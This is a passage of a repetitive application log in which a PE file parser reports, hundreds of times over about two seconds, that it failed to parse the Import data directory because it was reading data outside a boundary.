data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 